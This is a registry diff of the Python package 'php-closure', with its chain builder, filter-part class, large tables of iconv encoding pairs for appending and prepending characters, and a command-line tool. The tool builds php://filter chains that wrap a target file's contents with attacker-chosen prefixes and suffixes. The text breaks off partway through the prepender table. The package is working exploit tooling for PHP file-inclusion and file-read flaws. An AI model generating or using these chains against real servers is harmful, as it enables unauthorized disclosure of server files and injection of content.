php-closure 1.0.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
__init__.py ADDED
File without changes
closure/__init__.py ADDED
File without changes
File without changes
@@ -0,0 +1,18 @@
1
+ from dataclasses import dataclass
2
+
3
+ from .filter_part import FilterPart
4
+ from ..utils.chain_functions import iconv_multi_wrap
5
+
6
+
7
+ @dataclass
8
+ class Appender:
9
+ chain: FilterPart
10
+ bytes: bytes
11
+ required_padding: int
12
+
13
+ def extend(self, iconv_encodings, new_bytes):
14
+ return Appender(
15
+ iconv_multi_wrap(self.chain, *iconv_encodings),
16
+ new_bytes,
17
+ self.required_padding,
18
+ )
@@ -0,0 +1,161 @@
1
+ from collections import deque
2
+
3
+ from .appender import Appender
4
+ from ..constants.appenders import APPENDERS
5
+ from ..constants.operations import QPE, INFLATE_2, B64D, QPD, B64E, MULT_3, ANTI_MULT_3
6
+ from ..constants.prependers import PREPENDERS
7
+
8
+ PREAMBLE_CHAIN = B64E / MULT_3 / MULT_3 / B64E
9
+ POSTAMBLE_CHAIN = B64D / ANTI_MULT_3 / ANTI_MULT_3
10
+
11
+ QPE_SAFE_CHARS = b"\t !\"#$%&'()*+,-./0123456789:;<>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
12
+
13
+
14
+ class ChainBuilder:
15
+ def __init__(self):
16
+ self.chain = PREAMBLE_CHAIN
17
+ self.length_mod_3 = 0
18
+ self.appended_base64_count = 0
19
+ self.is_clean = True
20
+
21
+ # Should stay the same and only change when bytes are appended since QPE of any unsafe byte, say '\xff' turns into
22
+ # '=FF' and now '=' is an unsafe byte
23
+ # Same with QPD: '=FF' -> '\xff' both 1 unsafe byte
24
+ self.non_qp_safe_count = 0
25
+
26
+ # Tracks how many bytes were encoded in each layer
27
+ self.qpe_stack = []
28
+
29
+ self.reinflate()
30
+
31
+ def qpe(self):
32
+ self.chain = self.chain / QPE
33
+ self.length_mod_3 = (self.length_mod_3 + self.non_qp_safe_count * 2) % 3
34
+ self.qpe_stack.append(self.non_qp_safe_count)
35
+
36
+ def qpd(self):
37
+ if len(self.qpe_stack) <= 0:
38
+ raise RuntimeError("Tried to QPD without previous QPE")
39
+
40
+ self.chain = self.chain / QPD
41
+ layer_encoded_count = self.qpe_stack.pop()
42
+ self.length_mod_3 = (self.length_mod_3 - layer_encoded_count * 2) % 3
43
+
44
+ def pad(self, target_padding: int):
45
+
46
+ # BFS queue stores: (current_length_mod_3, current_qpe_stack, path_of_operations)
47
+ queue = deque([(self.length_mod_3, self.qpe_stack.copy(), [])])
48
+ visited = set()
49
+
50
+ valid_path = None
51
+
52
+ while queue:
53
+ curr_mod, curr_stack, path = queue.popleft()
54
+
55
+ current_padding = (3 - curr_mod) % 3
56
+
57
+ if current_padding == target_padding and path and path[-1] is QPE:
58
+ valid_path = path
59
+ break
60
+
61
+ # State signature to avoid redundant paths in our search
62
+ state_sig = (curr_mod, tuple(curr_stack))
63
+ if state_sig in visited:
64
+ continue
65
+ visited.add(state_sig)
66
+
67
+ # Limit depth to 20 to prevent infinite loops on true deadlocks
68
+ if len(path) >= 20:
69
+ continue
70
+
71
+ next_mod_qpe = (curr_mod + self.non_qp_safe_count * 2) % 3
72
+ next_stack_qpe = curr_stack + [self.non_qp_safe_count]
73
+ queue.append((next_mod_qpe, next_stack_qpe, path + [QPE]))
74
+
75
+ if curr_stack:
76
+ popped = curr_stack[-1]
77
+ next_mod_qpd = (curr_mod - popped * 2) % 3
78
+ next_stack_qpd = curr_stack[:-1]
79
+ queue.append((next_mod_qpd, next_stack_qpd, path + [QPD]))
80
+
81
+ if valid_path is None:
82
+ raise RuntimeError(
83
+ f"Deadlock! Cannot reach padding {target_padding} ending in QPE. unsafe_count={self.non_qp_safe_count}, stack={self.qpe_stack}"
84
+ )
85
+
86
+ for op in valid_path:
87
+ if op is QPE:
88
+ self.qpe()
89
+ elif op is QPD:
90
+ self.qpd()
91
+
92
+ # Count how many "useful" lifelines we have in the stack (not a multiple of 3)
93
+ useful_items = sum(1 for x in self.qpe_stack if x % 3 != 0)
94
+
95
+ # If we currently have the ability to generate GOOD lifelines, we stock up!
96
+ if self.non_qp_safe_count % 3 != 0:
97
+ # We ensure we always have a hoard of at least 6 lifelines
98
+ while useful_items < 6:
99
+ # Doing EXACTLY 3 QPEs preserves the padding perfectly but restocks our stack.
100
+ for _ in range(3):
101
+ self.qpe()
102
+ valid_path.append(QPE)
103
+ useful_items += 3
104
+
105
+ return valid_path
106
+
107
+ def append(self, appender: Appender):
108
+ self.pad(appender.required_padding)
109
+ self.chain = self.chain / appender.chain
110
+ self.non_qp_safe_count += sum([1 if b not in QPE_SAFE_CHARS else 0 for b in appender.bytes])
111
+ self.length_mod_3 = (self.length_mod_3 + len(appender.bytes)) % 3
112
+ self.appended_base64_count += 1
113
+
114
+ self.is_clean = False
115
+
116
+ def append_seq(self, seq: str):
117
+ for i, c in enumerate(seq):
118
+ self.append(APPENDERS[c])
119
+
120
+ def prepend_seq(self, seq: str):
121
+ if len(seq) % 4 != 0:
122
+ raise ValueError(
123
+ f"seq: '{seq}' is of length {len(seq)} which is not a multiple of 4!\n"
124
+ f"pad the end with a character of your choosing and than pass it to this function"
125
+ )
126
+
127
+ # M is the shortest chain that preserves its own padding (9 added bytes % 3 = 0)
128
+ self.pad(APPENDERS["M"].required_padding)
129
+ for _ in range(len(seq)):
130
+ self.chain = self.chain / APPENDERS["M"].chain
131
+
132
+ self.cleanup()
133
+
134
+ for c in reversed(seq):
135
+ self.chain = self.chain / PREPENDERS[c] / B64D / B64E
136
+
137
+ def cleanup(self):
138
+ for _ in range(len(self.qpe_stack)):
139
+ self.qpe_stack.pop()
140
+ self.chain = self.chain / QPD
141
+ self.chain = self.chain / B64D / B64E
142
+
143
+ self.length_mod_3 = self.appended_base64_count % 3
144
+ self.non_qp_safe_count = 0
145
+
146
+ self.is_clean = True
147
+
148
+ def reinflate(self):
149
+ self.chain = self.chain / INFLATE_2 / QPE
150
+ self.non_qp_safe_count += 2
151
+ self.qpe_stack.append(2)
152
+
153
+ self.is_clean = False
154
+
155
+ def finalize(self):
156
+ if not self.is_clean:
157
+ self.cleanup()
158
+ self.chain = self.chain / POSTAMBLE_CHAIN
159
+
160
+ def construct_chain(self, file):
161
+ return f"php://filter/{str(self.chain)}/resource={file}"
@@ -0,0 +1,49 @@
1
+ class FilterPart:
2
+ def __init__(self, filter_steps):
3
+ if isinstance(filter_steps, str):
4
+ self.filter_steps = [filter_steps]
5
+ else:
6
+ self.filter_steps = list(filter_steps)
7
+
8
+ def __reversed__(self):
9
+ steps = self.filter_steps[::-1].copy()
10
+
11
+ iconv_prefix = "convert.iconv."
12
+ base64_prefix = "convert.base64-"
13
+
14
+ for i in range(len(steps)):
15
+ if steps[i].startswith(iconv_prefix):
16
+ parts = steps[i][len(iconv_prefix):].split(".")
17
+ x, y = parts
18
+ steps[i] = f"{iconv_prefix}{y}.{x}"
19
+ elif steps[i].startswith(base64_prefix):
20
+ operation = steps[i][len(base64_prefix):]
21
+ rev_operation = "decode" if operation == "encode" else "encode"
22
+ steps[i] = f"{base64_prefix}{rev_operation}"
23
+
24
+ return FilterPart(steps)
25
+
26
+ def __truediv__(self, other):
27
+ """
28
+ Overloads the / operator:
29
+ FilterPart / FilterPart -> merged FilterPart
30
+ FilterPart / str -> wrapped + merged
31
+ """
32
+ if isinstance(other, str):
33
+ other = FilterPart([other])
34
+ elif not isinstance(other, FilterPart):
35
+ raise TypeError("Can only divide FilterPart by FilterPart or str")
36
+
37
+ return FilterPart(self.filter_steps + other.filter_steps)
38
+
39
+ def __mul__(self, other):
40
+ if not isinstance(other, int):
41
+ raise TypeError("Can only multiply FilterPart by int")
42
+
43
+ return FilterPart(self.filter_steps * other)
44
+
45
+ def __str__(self):
46
+ return "/".join(self.filter_steps)
47
+
48
+ def __repr__(self):
49
+ return f"FilterPart({self.filter_steps})"
closure/cli.py ADDED
@@ -0,0 +1,97 @@
1
+ import argparse
2
+
3
+ from .classes.chain_builder import ChainBuilder
4
+ from .testing.run_php_filter import run_php_filter
5
+ from .utils.string_functions import right_pad, prepare_injection_data, left_pad
6
+
7
+
8
+ def generate_wrap_chain(file, prefix=None, suffix=None, pad_char=" "):
9
+ if prefix is None and suffix is None:
10
+ raise ValueError("Either 'prefix', 'suffix' or both must be specified.")
11
+
12
+ cb = ChainBuilder()
13
+
14
+ if suffix is not None:
15
+ suffix = left_pad(suffix, 4, pad_char)
16
+ append_seq = prepare_injection_data(suffix)
17
+ cb.append_seq(append_seq)
18
+
19
+ if prefix is not None:
20
+ prefix = right_pad(prefix, 4, pad_char)
21
+ prepend_seq = prepare_injection_data(prefix)
22
+ cb.prepend_seq(prepend_seq)
23
+
24
+ cb.finalize()
25
+
26
+ return cb.construct_chain(file)
27
+
28
+
29
+ def test_chain(chain: str):
30
+ print("\nResulting chain size:", len(chain))
31
+ result = run_php_filter(chain)
32
+ print("---- RESULT ----")
33
+ print(result.decode())
34
+ print("---- END ----")
35
+
36
+
37
+ def output_result(chain: str, output_path: str):
38
+ if output_path is not None:
39
+ with open(output_path, "w") as f:
40
+ f.write(chain)
41
+ print("Chain written to:", output_path)
42
+ else:
43
+ print(chain)
44
+ print("\nResulting chain size:", len(chain))
45
+
46
+
47
+ def main():
48
+ parser = argparse.ArgumentParser(description="Closure - generate php filter chains to wrap file contents")
49
+
50
+ parser.add_argument("file", help="File to wrap")
51
+
52
+ parser.add_argument(
53
+ "-p",
54
+ "--prefix",
55
+ default=None,
56
+ help="Prefix to be prepended to the file contents",
57
+ )
58
+
59
+ parser.add_argument(
60
+ "-s",
61
+ "--suffix",
62
+ default=None,
63
+ help="Suffix to be appended to the file contents",
64
+ )
65
+
66
+ parser.add_argument(
67
+ "-c",
68
+ "--pad-char",
69
+ default=" ",
70
+ help="A character that will be used for padding after the prefix or before the suffix",
71
+ )
72
+
73
+ parser.add_argument(
74
+ "-o",
75
+ "--output",
76
+ default=None,
77
+ help="File path to write the chain to, if none specified, chain is written to stdout",
78
+ )
79
+
80
+ parser.add_argument(
81
+ "-t", "--test",
82
+ action="store_true",
83
+ help="Run the php filter chain in the local system to see the results (requires php to be installed)",
84
+ )
85
+
86
+ args = parser.parse_args()
87
+
88
+ chain = generate_wrap_chain(args.file, args.prefix, args.suffix, args.pad_char)
89
+
90
+ if args.test:
91
+ test_chain(chain)
92
+ else:
93
+ output_result(chain, args.output)
94
+
95
+
96
+ if __name__ == "__main__":
97
+ main()
File without changes
@@ -0,0 +1,120 @@
1
+ from ..classes.appender import Appender
2
+ from .operations import REMOVE_EQUAL, QPE, QPD
3
+ from ..utils.chain_functions import b64_wrap, rot13_wrap
4
+
5
+ BASE_APPENDERS = {
6
+ "5": Appender(b64_wrap(rot13_wrap(REMOVE_EQUAL)), b">5\r", required_padding=1),
7
+ "t": Appender(
8
+ QPE / QPE / QPE / b64_wrap(rot13_wrap(QPE / QPE) / REMOVE_EQUAL) / QPD / QPD / QPD,
9
+ b">\x00|t",
10
+ required_padding=1,
11
+ ),
12
+ "g": Appender(
13
+ rot13_wrap(QPE / QPE / QPE / b64_wrap(rot13_wrap(QPE / QPE) / REMOVE_EQUAL) / QPD / QPD / QPD),
14
+ b">\x00|g",
15
+ required_padding=1,
16
+ ),
17
+ "p": Appender(
18
+ QPE / QPE / QPE / b64_wrap(QPE / rot13_wrap(QPE) / REMOVE_EQUAL) / QPD / QPD / QPD,
19
+ b">\x00|p",
20
+ required_padding=1,
21
+ ),
22
+ "c": Appender(
23
+ rot13_wrap(QPE / QPE / QPE / b64_wrap(QPE / rot13_wrap(QPE) / REMOVE_EQUAL) / QPD / QPD / QPD),
24
+ b">\x00|c",
25
+ required_padding=1,
26
+ ),
27
+ "M": Appender(
28
+ b64_wrap(QPE / REMOVE_EQUAL),
29
+ b"\x0f\x80\x0fM\xc3\xf8\x00\xf4\xdc",
30
+ required_padding=2,
31
+ ),
32
+ "Z": Appender(
33
+ rot13_wrap(b64_wrap(QPE / REMOVE_EQUAL)),
34
+ b"\x0f\x80\x0fZ\xc3\xf8\x00\xf4\xdc",
35
+ required_padding=2,
36
+ ),
37
+ }
38
+
39
+ # TODO: Swap all convertors iconv encodings to their shortest alias
40
+ APPENDERS = {
41
+ "+": BASE_APPENDERS["t"].extend(
42
+ [("CP870", "L2"), ("CP1149", "CP037"), ("L1", "1047"), ("L1", "CP273")],
43
+ b"+\x00\xbb\x8d",
44
+ ),
45
+ "/": BASE_APPENDERS["g"].extend(
46
+ [
47
+ ("CP273", "CP297"),
48
+ ("1047", "L1"),
49
+ ("CP870", "L2"),
50
+ ("CP870", "L2"),
51
+ ("1026", "L1"),
52
+ ],
53
+ b"\xd7\x00/\xf7",
54
+ ),
55
+ "0": BASE_APPENDERS["t"].extend([("CP870", "L2"), ("CP1142", "CP280"), ("L1", "1047")], b"0\x00|\xfd"),
56
+ "1": BASE_APPENDERS["Z"].extend(
57
+ [("L1", "IBM277"), ("L1", "CP280"), ("L1", "1047")],
58
+ b"\x0f|\x0f\xe9\x061\x00\xa2\xfc",
59
+ ),
60
+ "2": BASE_APPENDERS["p"].extend([("CP1149", "CP1142"), ("CP280", "L1"), ("1047", "L1")], b"\xc6\x00}2"),
61
+ "3": BASE_APPENDERS["c"].extend([("CP1399", "IBM-932"), ("1046", "CP9448")], b"\x7f\x00@3"),
62
+ "4": BASE_APPENDERS["t"].extend([("1047", "UTF-8"), ("CP1167", "CP1361")], b"\xde\xd2\xd94\x00@\xde\xe8\xdb\xa8"),
63
+ "5": BASE_APPENDERS["5"],
64
+ "6": BASE_APPENDERS["g"].extend([("CP4971", "IBM-932"), ("1046", "CP9448")], b"\x7f\x00@\xd36"),
65
+ "7": BASE_APPENDERS["g"].extend([("CP1399", "IBM-932"), ("1046", "CP9448")], b"\x7f\x00@7"),
66
+ "8": BASE_APPENDERS["p"].extend([("1047", "L1"), ("1026", "8859_1")], b"\xc6\x00 8"),
67
+ "9": BASE_APPENDERS["g"].extend([("CP4971", "UTF-8"), ("CP949", "CP1361")], b"\xd1\x9d\x00@\xe29"),
68
+ "A": BASE_APPENDERS["c"].extend([("CP1142", "ISO_6937")], b"\x9e\x00\xe9\xc8A"),
69
+ "B": BASE_APPENDERS["t"].extend([("CP1112", "ISO-8859-16"), ("8859_5", "IBM932")], b"\x7f\x00@\x84B"),
70
+ "C": BASE_APPENDERS["M"].extend([("8859_7", "CSIBM4971")], b"\x0f \x0f\xd4C\xbf\x00\xbb\xb1"),
71
+ "D": BASE_APPENDERS["Z"].extend([("CP1142", "IBM-1147")], b"\x0fD\x0f\x9f\xc3\xf8\x00\xf4\xbd"),
72
+ "E": BASE_APPENDERS["t"].extend([("CP1142", "ISO_6937")], b"\x9e\x00\xe9\xc1E"),
73
+ "F": BASE_APPENDERS["c"].extend([("CP1025", "CSIBM932")], b"\x7f\x00@\x84F"),
74
+ "G": BASE_APPENDERS["Z"].extend([("CP1141", "CSIBM1142")], b"\x0f|\x0f\xfc\xc3\xf8\x00\xf4G"),
75
+ "H": BASE_APPENDERS["t"].extend([("1026", "8859_9"), ("1026", "437")], b"\x92\x00\xa3H"),
76
+ "I": BASE_APPENDERS["p"].extend([("CP1142", "CSIBM284")], b">\x00\x80I"),
77
+ "J": BASE_APPENDERS["Z"].extend([("CP1081", "IBM278")], b"\x0f\x80\x0fJ\xc3\xf8\x00\xf4\xa1"),
78
+ "K": BASE_APPENDERS["t"].extend([("CP1149", "UTF-8"), ("CP949", "CP1361")], b"\xd1\x9d\x00\xd2K\xd1\xfc"),
79
+ "L": BASE_APPENDERS["t"].extend([("CP918", "IBM-1008"), ("8859_2", "CSIBM932")], b"\x7f\x00@\x81L"),
80
+ "M": BASE_APPENDERS["M"],
81
+ "N": BASE_APPENDERS["p"].extend([("CP4971", "IBM-932")], b"\x7f\x00@\x81N"),
82
+ "O": BASE_APPENDERS["g"].extend([("CP1122", "ISO6937")], b"\x9e\x00\xc8O$"),
83
+ "P": BASE_APPENDERS["t"].extend([("CP875", "IBM932"), ("864", "BIG5")], b"\x7f\x00@\xa1P\xa1\xd1"),
84
+ "Q": BASE_APPENDERS["Z"].extend([("500", "CSIBM1144")], b"\x0f\x80\x0fQ\xc3\xf8\x00\xf4\xdc"),
85
+ "R": BASE_APPENDERS["t"].extend([("CP1399", "IBM-932"), ("851", "CP950")], b"\x7f\x00@\xa3R"),
86
+ "S": BASE_APPENDERS["g"].extend([("CP12712", "IBM916"), ("857", "ISO6937")], b"\xcbS\x00@\xcb "),
87
+ "T": BASE_APPENDERS["Z"].extend([("CP1141", "CP280")], b"\x0f\x80\x0f\xfc\xc3\xf8\x00\xf4T"),
88
+ "U": BASE_APPENDERS["p"].extend([("CP1142", "CSIBM932")], b"\x7f\x00\x7f\xfaU"),
89
+ "V": BASE_APPENDERS["t"].extend([("CP1142", "UTF-8"), ("CP949", "CP1361")], b"\xd1\x9d\x00\xd2V\xd1\xfc"),
90
+ "W": BASE_APPENDERS["g"].extend([("CP1122", "UTF-8"), ("866", "CP932")], b"\x84\xa6\x84_\x00\x84\xa5\x84W$"),
91
+ "X": BASE_APPENDERS["Z"].extend([("CP1122", "CSIBM280")], b"\x0f\x80\x0f\x9f\xc3\xf8\x00\xf4X"),
92
+ "Y": BASE_APPENDERS["Z"].extend([("CP1122", "CSIBM273")], b"\x0f\x80\x0f\x9f\xc3\xf8\x00\xf4Y"),
93
+ "Z": BASE_APPENDERS["Z"],
94
+ "a": BASE_APPENDERS["p"].extend([("CP297", "ISO6937")], b"\x9e\x00\xc1a\xf9"),
95
+ "b": BASE_APPENDERS["c"].extend([("CP1390", "UTF-8")], b"\xc2\x9e\x00@b"),
96
+ "c": BASE_APPENDERS["c"],
97
+ "d": BASE_APPENDERS["M"].extend([("CP1008", "CP420")], b"\x0f \x0f\xd4d\xcd\x00\xbe\x9b"),
98
+ "e": BASE_APPENDERS["g"].extend([("CP1141", "CSIBM1142"), ("437", "CP936")], b">\x00\xa8e["),
99
+ "f": BASE_APPENDERS["g"].extend([("CP1390", "UTF-8")], b"\xc2\x9e\x00@f"),
100
+ "g": BASE_APPENDERS["g"],
101
+ "h": BASE_APPENDERS["g"].extend([("CP1142", "CSIBM285"), ("1026", "1047")], b">\x00\x80h"),
102
+ "i": BASE_APPENDERS["c"].extend([("CP1122", "CSIBM1145")], b">\x00\xeci"),
103
+ "j": BASE_APPENDERS["p"].extend([("CP1144", "CP1142")], b">\x00\xb5j"),
104
+ "k": BASE_APPENDERS["p"].extend([("CP1132", "CP1008")], b"\x9e\x00@k"),
105
+ "l": BASE_APPENDERS["t"].extend([("CP1390", "UTF-8")], b"\xc2\x9e\x00@l"),
106
+ "m": BASE_APPENDERS["g"].extend([("CP1399", "IBM-932"), ("MIK", "BIG5-HKSCS")], b"\x7f\x00@\xc8m"),
107
+ "n": BASE_APPENDERS["5"].extend([("8859_1", "CP273")], b"n\xf5\r"),
108
+ "o": BASE_APPENDERS["g"].extend([("CP1149", "IBM-1142"), ("CP737", "BIG5")], b">\x00\xa3o["),
109
+ "p": BASE_APPENDERS["p"],
110
+ "q": BASE_APPENDERS["t"].extend([("1047", "UTF-8"), ("CP1167", "IBM932")], b"\x84q\x7f\x00@\x84\x88\x84\xa6"),
111
+ "r": BASE_APPENDERS["g"].extend([("CP1122", "CSIBM1141"), ("8859_2", "TCVN")], b">\x00r\xb3["),
112
+ "s": BASE_APPENDERS["g"].extend([("CP1149", "IBM-1142"), ("855", "IBM-932")], b">\x00\x84s["),
113
+ "t": BASE_APPENDERS["t"],
114
+ "u": BASE_APPENDERS["t"].extend([("CP1144", "IBM932"), ("863", "ISO_6937")], b"\x7f\x00\xc8u\xa8\x7f"),
115
+ "v": BASE_APPENDERS["t"].extend([("1026", "8859_9"), ("CP10007", "CSIBM932")], b"\x84_\x00\x84v\x7f"),
116
+ "w": BASE_APPENDERS["t"].extend([("CP1025", "CP915"), ("CP1025", "CP932")], b"\x84\x80\x00 \x84w"),
117
+ "x": BASE_APPENDERS["g"].extend([("1047", "L1"), ("L2", "CP870")], b">\x00|x"),
118
+ "y": BASE_APPENDERS["Z"].extend([("CP280", "CP278")], b"\x0f\x80\x0fy\xc3\xf8\x00\xf4\xa1"),
119
+ "z": BASE_APPENDERS["p"].extend([("CP870", "L2"), ("CP870", "ISO6937")], b"\xce \x00 \xc2z"),
120
+ }
@@ -0,0 +1,12 @@
1
+ from ..classes.filter_part import FilterPart
2
+
3
+ B64E = FilterPart("convert.base64-encode")
4
+ B64D = FilterPart("convert.base64-decode")
5
+ REMOVE_EQUAL = FilterPart("convert.iconv.855.UTF7")
6
+ QPE = FilterPart("convert.quoted-printable-encode")
7
+ QPD = FilterPart("convert.quoted-printable-decode")
8
+ ROT13 = FilterPart("string.rot13")
9
+
10
+ MULT_3 = FilterPart(["convert.iconv.UTF-16LE.UTF8"])
11
+ ANTI_MULT_3 = FilterPart(["convert.iconv.UTF8.UTF-16LE"])
12
+ INFLATE_2 = "convert.iconv.UCS-2.UTF16"
@@ -0,0 +1,342 @@
1
+ from ..classes.filter_part import FilterPart
2
+
3
+ PREPENDERS = {
4
+ "0": FilterPart(
5
+ [
6
+ "convert.iconv.UTF8.UTF16LE",
7
+ "convert.iconv.UTF8.CSISO2022KR",
8
+ "convert.iconv.UCS2.UTF8",
9
+ "convert.iconv.8859_3.UCS2",
10
+ ]
11
+ ),
12
+ "1": FilterPart(
13
+ [
14
+ "convert.iconv.ISO88597.UTF16",
15
+ "convert.iconv.RK1048.UCS-4LE",
16
+ "convert.iconv.UTF32.CP1167",
17
+ "convert.iconv.CP9066.CSUCS4",
18
+ ]
19
+ ),
20
+ "2": FilterPart(
21
+ [
22
+ "convert.iconv.L5.UTF-32",
23
+ "convert.iconv.ISO88594.GB13000",
24
+ "convert.iconv.CP949.UTF32BE",
25
+ "convert.iconv.ISO_69372.CSIBM921",
26
+ ]
27
+ ),
28
+ "3": FilterPart(
29
+ [
30
+ "convert.iconv.L6.UNICODE",
31
+ "convert.iconv.CP1282.ISO-IR-90",
32
+ "convert.iconv.ISO6937.8859_4",
33
+ "convert.iconv.IBM868.UTF-16LE",
34
+ ]
35
+ ),
36
+ "4": FilterPart(
37
+ [
38
+ "convert.iconv.CP866.CSUNICODE",
39
+ "convert.iconv.CSISOLATIN5.ISO_6937-2",
40
+ "convert.iconv.CP950.UTF-16BE",
41
+ ]
42
+ ),
43
+ "5": FilterPart(
44
+ [
45
+ "convert.iconv.UTF8.UTF16LE",
46
+ "convert.iconv.UTF8.CSISO2022KR",
47
+ "convert.iconv.UTF16.EUCTW",
48
+ "convert.iconv.8859_3.UCS2",
49
+ ]
50
+ ),
51
+ "6": FilterPart(
52
+ [
53
+ "convert.iconv.INIS.UTF16",
54
+ "convert.iconv.CSIBM1133.IBM943",
55
+ "convert.iconv.CSIBM943.UCS4",
56
+ "convert.iconv.IBM866.UCS-2",
57
+ ]
58
+ ),
59
+ "7": FilterPart(
60
+ [
61
+ "convert.iconv.851.UTF-16",
62
+ "convert.iconv.L1.T.618BIT",
63
+ "convert.iconv.ISO-IR-103.850",
64
+ "convert.iconv.PT154.UCS4",
65
+ ]
66
+ ),
67
+ "8": FilterPart(["convert.iconv.ISO2022KR.UTF16", "convert.iconv.L6.UCS2"]),
68
+ "9": FilterPart(["convert.iconv.CSIBM1161.UNICODE", "convert.iconv.ISO-IR-156.JOHAB"]),
69
+ "A": FilterPart(["convert.iconv.8859_3.UTF16", "convert.iconv.863.SHIFT_JISX0213"]),
70
+ "a": FilterPart(
71
+ [
72
+ "convert.iconv.CP1046.UTF32",
73
+ "convert.iconv.L6.UCS-2",
74
+ "convert.iconv.UTF-16LE.T.61-8BIT",
75
+ "convert.iconv.865.UCS-4LE",
76
+ ]
77
+ ),
78
+ "B": FilterPart(["convert.iconv.CP861.UTF-16", "convert.iconv.L4.GB13000"]),
79
+ "b": FilterPart(
80
+ [
81
+ "convert.iconv.JS.UNICODE",
82
+ "convert.iconv.L4.UCS2",
83
+ "convert.iconv.UCS-2.OSF00030010",
84
+ "convert.iconv.CSIBM1008.UTF32BE",
85
+ ]
86
+ ),
87
+ "C": FilterPart(["convert.iconv.UTF8.CSISO2022KR"]),
88
+ "c": FilterPart(["convert.iconv.L4.UTF32", "convert.iconv.CP1250.UCS-2"]),
89
+ "D": FilterPart(
90
+ [
91
+ "convert.iconv.INIS.UTF16",
92
+ "convert.iconv.CSIBM1133.IBM943",
93
+ "convert.iconv.IBM932.SHIFT_JISX0213",
94
+ ]
95
+ ),
96
+ "d": FilterPart(
97
+ [
98
+ "convert.iconv.INIS.UTF16",
99
+ "convert.iconv.CSIBM1133.IBM943",
100
+ "convert.iconv.GBK.BIG5",
101
+ ]
102
+ ),
103
+ "E": FilterPart(["convert.iconv.IBM860.UTF16", "convert.iconv.ISO-IR-143.ISO2022CNEXT"]),
104
+ "e": FilterPart(
105
+ [
106
+ "convert.iconv.JS.UNICODE",
107
+ "convert.iconv.L4.UCS2",
108
+ "convert.iconv.UTF16.EUC-JP-MS",
109
+ "convert.iconv.ISO-8859-1.ISO_6937",
110
+ ]
111
+ ),
112
+ "F": FilterPart(
113
+ [
114
+ "convert.iconv.L5.UTF-32",
115
+ "convert.iconv.ISO88594.GB13000",
116
+ "convert.iconv.CP950.SHIFT_JISX0213",
117
+ "convert.iconv.UHC.JOHAB",
118
+ ]
119
+ ),
120
+ "f": FilterPart(["convert.iconv.CP367.UTF-16", "convert.iconv.CSIBM901.SHIFT_JISX0213"]),
121
+ "g": FilterPart(
122
+ [
123
+ "convert.iconv.SE2.UTF-16",
124
+ "convert.iconv.CSIBM921.NAPLPS",
125
+ "convert.iconv.855.CP936",
126
+ "convert.iconv.IBM-932.UTF-8",
127
+ ]
128
+ ),
129
+ "G": FilterPart(["convert.iconv.L6.UNICODE", "convert.iconv.CP1282.ISO-IR-90"]),
130
+ "H": FilterPart(["convert.iconv.CP1046.UTF16", "convert.iconv.ISO6937.SHIFT_JISX0213"]),
131
+ "h": FilterPart(
132
+ [
133
+ "convert.iconv.CSGB2312.UTF-32",
134
+ "convert.iconv.IBM-1161.IBM932",
135
+ "convert.iconv.GB13000.UTF16BE",
136
+ "convert.iconv.864.UTF-32LE",
137
+ ]
138
+ ),
139
+ "I": FilterPart(
140
+ [
141
+ "convert.iconv.L5.UTF-32",
142
+ "convert.iconv.ISO88594.GB13000",
143
+ "convert.iconv.BIG5.SHIFT_JISX0213",
144
+ ]
145
+ ),
146
+ "i": FilterPart(
147
+ [
148
+ "convert.iconv.DEC.UTF-16",
149
+ "convert.iconv.ISO8859-9.ISO_6937-2",
150
+ "convert.iconv.UTF16.GB13000",
151
+ ]
152
+ ),
153
+ "J": FilterPart(["convert.iconv.863.UNICODE", "convert.iconv.ISIRI3342.UCS4"]),
154
+ "j": FilterPart(
155
+ [
156
+ "convert.iconv.CP861.UTF-16",
157
+ "convert.iconv.L4.GB13000",
158
+ "convert.iconv.BIG5.JOHAB",
159
+ "convert.iconv.CP950.UTF16",
160
+ ]
161
+ ),
162
+ "K": FilterPart(["convert.iconv.863.UTF-16", "convert.iconv.ISO6937.UTF16LE"]),
163
+ "k": FilterPart(["convert.iconv.JS.UNICODE", "convert.iconv.L4.UCS2"]),
164
+ "L": FilterPart(
165
+ [
166
+ "convert.iconv.IBM869.UTF16",
167
+ "convert.iconv.L3.CSISO90",
168
+ "convert.iconv.R9.ISO6937",
169
+ "convert.iconv.OSF00010100.UHC",
170
+ ]
171
+ ),
172
+ "l": FilterPart(
173
+ [
174
+ "convert.iconv.CP-AR.UTF16",
175
+ "convert.iconv.8859_4.BIG5HKSCS",
176
+ "convert.iconv.MSCP1361.UTF-32LE",
177
+ "convert.iconv.IBM932.UCS-2BE",
178
+ ]
179
+ ),
180
+ "M": FilterPart(
181
+ [
182
+ "convert.iconv.CP869.UTF-32",
183
+ "convert.iconv.MACUK.UCS4",
184
+ "convert.iconv.UTF16BE.866",
185
+ "convert.iconv.MACUKRAINIAN.WCHAR_T",
186
+ ]
187
+ ),
188
+ "m": FilterPart(
189
+ [
190
+ "convert.iconv.SE2.UTF-16",
191
+ "convert.iconv.CSIBM921.NAPLPS",
192
+ "convert.iconv.CP1163.CSA_T500",
193
+ "convert.iconv.UCS-2.MSCP949",
194
+ ]
195
+ ),
196
+ "N": FilterPart(["convert.iconv.CP869.UTF-32", "convert.iconv.MACUK.UCS4"]),
197
+ "n": FilterPart(
198
+ [
199
+ "convert.iconv.ISO88594.UTF16",
200
+ "convert.iconv.IBM5347.UCS4",
201
+ "convert.iconv.UTF32BE.MS936",
202
+ "convert.iconv.OSF00010004.T.61",
203
+ ]
204
+ ),
205
+ "O": FilterPart(
206
+ [
207
+ "convert.iconv.CSA_T500.UTF-32",
208
+ "convert.iconv.CP857.ISO-2022-JP-3",
209
+ "convert.iconv.ISO2022JP2.CP775",
210
+ ]
211
+ ),
212
+ "o": FilterPart(
213
+ [
214
+ "convert.iconv.JS.UNICODE",
215
+ "convert.iconv.L4.UCS2",
216
+ "convert.iconv.UCS-4LE.OSF05010001",
217
+ "convert.iconv.IBM912.UTF-16LE",
218
+ ]
219
+ ),
220
+ "P": FilterPart(
221
+ [
222
+ "convert.iconv.SE2.UTF-16",
223
+ "convert.iconv.CSIBM1161.IBM-932",
224
+ "convert.iconv.MS932.MS936",
225
+ "convert.iconv.BIG5.JOHAB",
226
+ ]
227
+ ),
228
+ "p": FilterPart(
229
+ [
230
+ "convert.iconv.IBM891.CSUNICODE",
231
+ "convert.iconv.ISO8859-14.ISO6937",
232
